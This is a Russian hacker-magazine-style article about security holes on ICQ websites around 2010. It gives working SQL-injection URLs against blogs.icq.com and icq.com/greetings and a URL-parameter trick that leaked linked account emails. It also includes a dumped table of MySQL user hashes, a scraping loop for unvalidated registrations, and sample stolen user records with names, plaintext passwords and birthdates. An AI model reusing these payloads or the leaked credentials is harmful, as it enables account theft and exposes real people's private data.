В июле 2010 года состоялась знаменательная сделка по приобретению ICQ IM российским холдингом DST у корпорации AOL. Сумма сделки составила 187 миллионов долларов. В связи со столь замечательным событием я просто обязан рассказать тебе о том, что же произошло с нашей любимой Аськой за последний год.
Changes
Первое и самое крупное за несколько лет изменение на веб-страницах icq.com произошло в начале-середине лета 2010 года. Тогда полностью изменилась старая и уже давно всем полюбившаяся система ретрива пароля.
Теперь, заходя по адресу https://icq.com/password, мы видим поле, куда просят ввести UIN или мыло для подключения, и второе поле для ввода капчи. Собственно, в поле с вводом email'а и заключается вся соль. Отныне в ICQ нет такого понятия, как "primary email" с его многоуровневой структурой, а есть понятие "email for login". Если в примари-емейлах пароль ретривился на первое введенное мыло, а все последующие мейлы отпадали, то в новой системе все совершенно иначе.
Смотри: ты сбрутил номер, в который уже было вписано мыло для логина — ты вписываешь свое новое мыло, подтверждаешь его и все! Теперь ты — полноценный владелец сбрученного номера, так как мыло прежнего хозяина больше не имеет никакого отношения к данному уину.
Основные особенности новой системы таковы:
1. Теперь стало возможным сделать ретрив на пятизначные номера;
2. Отпала возможность установки своих секретных вопросов/ответов на любой номер;
3. Старые вопросы и ответы сохранились на всех номерах, где они были установлены, но изменить ты их не сможешь;
4. Появились пятизнаки с установленными на них секретными вопросами и ответами.
В первые же недели после введения в строй новой системы стали пачками угоняться пятизнаки и другие красивые номера. Во всем
виноваты базы мыл для логина, когда-то собранные асечниками.
Так как никто и никогда не думал, что "email for login" будут что-то значить в будущем, многие вписывали их "от балды" в детали номера, либо вписывали и забывали о них, так что появилась возможность регистрации неиспользуемых мыл, либо взлом уже существующих.
Также стоит отметить еще один забавный факт: в связи с отпавшей возможностью изменения секретных вопросов/ответов появились номера, ходившие по рукам. К примеру, если ты узнал ответ на вопрос от номера, и если его узнал кто-то еще, то вы будете постоянно отбирать его друг у друга с помощью ответа на секретный вопрос :).
Словом, одним из таких общеизвестных номеров с паблик-ответом является уин 555555558 с вопросом про любимый цвет и ответом "розовый". Также изменения коснулись и системы регистрации, расположенной по адресу https://icq.com/register — теперь номер выдается не сразу после заполнения необходимых полей, а после подтверждения регистрации по мылу и логина в клиент или на сайт, так что авторегеры уинов также постепенно отмирают.
Вообще, на момент написания статьи еще изменились главная страница ICQ.com (теперь для русских пользователей там присутствовала лишь ссылка на загрузку официального клиента и невнятный дизайн) и страница поиска search.icq.com (для русских пользователей отныне там был встроен поисковик от mail.ru), плюс при заходе на страницу http://www.icq.com/wit/ мы сможем увидеть старых добрых Одноклассников :).
Новые времена - новые баги
Практически сразу после введения новой системы ретрива обнаружился первый хоть сколько-нибудь значимый баг на страницах icq. Баг заключался в том, что любому желающему могло стать известным мыло от любого локализованного номера ICQ.
Принцип действия баги был таков:
1. Заходим на https://icq.com/password, вводим любой локализованный номер и давим на сабмит;
2. После сабмита для восстановления пароля нам предлагалось перейти на страницу партнера или нажать ссылку "click here";
3. Не переходя на страницу партнера, копируем ссылку "click here" и меняем ее параметры следующим образом:
было: https://www.icq.com/password/form/web?form_type=qna&id=1&sn=XXX&show=1
стало: https://www.icq.com/password/form/web?form_type=qna&id=2&sn=XXX&show=1
После таких нехитрых манипуляций система выдавала нам сообщение о том, что письмо со ссылкой для восстановления пароля успешно отправлено на мейл "mail@partner_icq.com". Данный баг прожил довольно продолжительное время, знающими людьми сразу же были просканены целые диапазоны уинов и составлены списки приаттаченных к ним мейлов.
Здесь же следует отметить инцидент, также произошедший летом 2010 года. Тогда неизвестными злоумышленниками с помощью манипуляций со ссылками ретрива (предположительно) было уведено большинство локализованных пятизнаков. Последствия этого инцидента проявляются до сих пор в виде падения цен на красивые номера и нежелания юзеров покупать уины с локализацией.
Стоит также отметить, что локализация номеров ICQ стала постепенно отмирать:
1. Болгарский портал ABV.bg — больше не партнер ICQ;
2. Нельзя аттачить номер и изменять пароль на номере с помощью Bigmir.Net;
3. Довольно продолжительное время нельзя регистрировать номера на Рамблере, хотя аттач и смена пароля работают вполне успешно;
4. Yandex также больше не является партнером ICQ;
5. Нельзя больше регистрировать номера с помощью Atlas.sk, MyNet.com, Nana.co.il и некоторых других бывших и нынешних партнеров.
Дырявый ICQ.com
Если ты помнишь античатовский топик почти трехгодовалой давности о наличии SQL-инъекции на страницах поддомена greetings.icq.com, то, наверное, думаешь, что и по сей день асечные веб-сервисы работают на "SYBASE ASE 15.0.1". Спешу тебя разуверить в этом :).
С приходом DST (или "Mail.ru group" после переименования) веб-паги ICQ.com стали работать на обычном Мускуле ([email protected] — пользователь, msgboard — база данных, 5.1.45-log — версия)!
Информацию о новой скуле (на этот раз на страницах поддомена blogs.icq.com) 17 октября 2010 года опубликовал S00pY на портале Snipper.Ru. После небольшого расследования и с разрешения автора скули я опубликовал подробную информацию, полученную с помощью данной скули (ссылку на первоисточник ищи в сносках). Сама инъекция выглядела следующим образом:
http://blogs.icq.com/blogs/blog/tag/406428869-99999+union+select+1,concat(user,0x3a,password),3+from+mysql.user--+
А вот и все юзеры с их паролями из таблицы mysql.user:
localhost:root:*B3A0E433E7AD0F00794196F3C2931CD66AA89796
%:msgboard_u_rw:*7FBD912E113CF606E410F18C967487CE935ACFAC
%:scout:*9FD2B52556065163308826C11DD588A6F3F2ED9E
%:repl:*90414724CBFFFE7B4880631D5E9E7232C4737680
%:mydbm:*A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
%.aol.com:dstdbm:*4D93DC0E9E6FC017216D7DE4B49BC77BEE4E9EDE
localhost:dstdbm:*4D93DC0E9E6FC017216D7DE4B49BC77BEE4E9EDE
%:ping:*75E75A54E1CF941C40965FD3C39B19379102B07B
%:argus:*F5A7D854E9C46784C82EFC0DAE973F61703A7224
%:nocdba:*2D48BF42A42234DBBCADDFA0F94C9ED460BD1567
%:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0
%:msgboard_u_ro:*F1D9E0F8627E5AD39CF98BFC58E344CF4CCACAB4
localhost:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0
icqwebmsdb-d05.db.aol.com:repcheck:*B58082AC1A96B8580F828E2C730A4E91A26DE3B0
Самая интересная и важная для меня информация скрывалась в таблице msgboard.lsps_tb, содержащей номера ("Basic distribution ID" в QIP'е) и имена всех локализованных и рекламных партнеров ICQ.com, в списке также содержался и наш любимый GameLand с их проектом ICQ tv :).
...
21;Walla
22;HP
23;Prosieben Austria
24;Jetix
25;Rambler Generic
26;Bigmir Belarus
27;Centrum CZ
28;GameLand
29;SUP
30;Puls4
31;Centrum SK
32;Yandex
...
Не прошло и дня после публикации, как новость о данной уязвимости разнеслась по всему интернету, так что вскоре сервис blogs.icq.com оказался отключенным для проведения технических работ, а затем все заработало, но уже без описанной SQL-инъекции :).
Продолжение истории о скулях
2010 год был крайне богатым на ICQ-баги, так что ты не удивишься, что вскоре после прикрытия бага на blogs.icq.com я начал просматривать страницы асечных сервисов на предмет повторения вышеописанной скули. Совсем скоро мои поиски увенчались успехом :). Аналогичная SQL-инъекция была обнаружена по следующему адресу:
http://www.icq.com/greetings/cards/-1111+union+select+1, concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7 +from+mysql.user+limit+0,1+--/send/---
Сравни с древней скулей:
http://greetings.icq.com/greetings/cards/-253 union select null,@@version,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null--/
Юзер и права были такими же, как в blogs.icq.com, но на этот раз я решил покопать немного глубже.
Итак, самый главный профит на этот раз заключался в таблице registration_temp, в которой содержались следующие поля:
regstr_id
regstr_origin
regstr_fname
regstr_lname
regstr_email
regstr_password
regstr_bdate
regstr_question
regstr_answer
regstr_nickname
regstr_lsp
regstr_reg_date
Немного поизучав природу появления новых записей в данной таблице, я понял, что сюда сразу же заносятся юзеры, зарегистрированные через icq.com/register и пока что не прошедшие валидацию! То есть, если пользователь только что зарегистрировался и не успел нажать на ссылку подтверждения в своем почтовом ящике, любой сможет узнать его данные, тем более пароль хранился в базе в открытом виде!
Недолго думая, я написал простой скрипт, принцип действия которого заключался в следующем:
1. Входим в бесконечный цикл;
2. Берем количество записей в таблице registration_temp;
3. В соответствии с полученным количеством сохраняем в текстовый файл данные последнего зарегистрированного пользователя.
Примерное содержимое скрипта:
С помощью данного скрипта можно было составить базу пользователей тети Аси за определенный период, что, собственно, и было сделано :).
Вот лишь небольшая часть данной базы:
12495211:1:Samira.:x3:[email protected]:pudding2:1992-12-04 00:00:00:::Samira. x3:0:2010-11-15 12:30:53 12495219:1:Ivo:Geckovski:[email protected]:a1b2c3d4:1985-03-27 00:00:00:::Ivo Geckovski:0:2010-11-15 12:30:55
12495225:1:Madlen:Schwarz:[email protected]:bier85:1985-02-05 00:00:00:::Madlen Schwarz:1006:2010-11-15 12:30:58
12495235:0:Di:Karnavala:[email protected]:345562iv:1987-04-24 00:00:00:::Di Karnavala:-2:2010-11-15 12:31:00
12495247:1:Hellow:Kitty:[email protected]:389162aa:1985-05-12 00:00:00:::Hellow Kitty:3:2010-11-15 12:31:03
Возвращение блудной Аси
Теперь настало время рассказать тебе о небольшой недоработке веб-девелоперов ICQ.com.По дефолту приаттачить новый мейл к своему номеру можно лишь через страничку https://www.icq.com/register/email_attach.php (при этом надо быть залогиненным через https://www.icq.com/karma/login_page.php и знать текущий пароль). Всем известен тот факт, что логин-сессия на ICQ.com длится неопределенно долгое время, так что если у тебя угнали асю и изменили на ней пароль, ты можешь быть залогиненным на асечном сайте, но не иметь возможности как-либо повлиять на угнанный номер.
С радостью сообщаю тебе, что теперь ты сможешь вернуть свой любимый номерок :). Расскажу обо всем по порядку. Итак, новая система ретрива вводилась два раза:
* первый раз, одновременно с введением новой системы, появилась возможность вписывать свое мыло в детали номера через страничку http://www.icq.com/people/НОМЕР/edit/ (а не через https://www.icq.com/register/email_attach.php), при этом тебе всего лишь нужно было быть залогиненным на асечном сайте;
* второй раз, после первых тестов, новую систему убрали и временно вернули старую. После повторного введения новой системы ретрива мыло для логина вновь менялось лишь на странице https://www.icq.com/register/email_attach.php.
После финального включения новой системы ретрива разработчики зачем-то решили оставить возможность прикрепления нового мыла с помощью первого варианта, но спрятали эту возможность глубоко в html-сорцах своих страниц :). Если у тебя угнали асю, твой алгоритм должен быть следующим (предварительно ты должен иметь живую сессию на ICQ.com):
1. Сохрани на свой жесткий диск следующую html-страницу:
<form method="POST">
<input name="f" value="resendMail" />
<input name="e" value="твое_мыло@мыло.ru" />
<input name="lang" value="en" />
<input name="server" value="prod" />
<input type="submit" value="ok" />
</form>
2. Открывай данную страницу в браузере и жми на сабмит;
3. После сабмита на твое вписанное мыло упадет ссылка для подтверждения нового "email for login";
4. Переходи по данной ссылке и восстанавливай пароль на новое мыло с помощью https://icq.com/password.
Подробности, а также автоматизированный скрипт для всего этого ты сможешь увидеть по в сносках.
Злоключение
В заключение хочу сказать, что основная вина за происходящие беспорядки в мире ICQ лежит отнюдь не на хакерах. В глупейших багах своих же сервисов виноваты веб-девелоперы, работающие в ICQ, профессионализм которых неоднократно был подставлен под сомнение многочисленным сообществом асечников.
Также не могу не отметить тот факт, что не только веб-девелоперы не знают об элементарных правилах безопасности — абсолютное большинство так называемых "админов", сидящих на пятизнаках, подвержены самому главному багу, для которого еще не придумали патча. Имя сему багу — социальная инженерия. Но об этом я расскажу в другой раз :).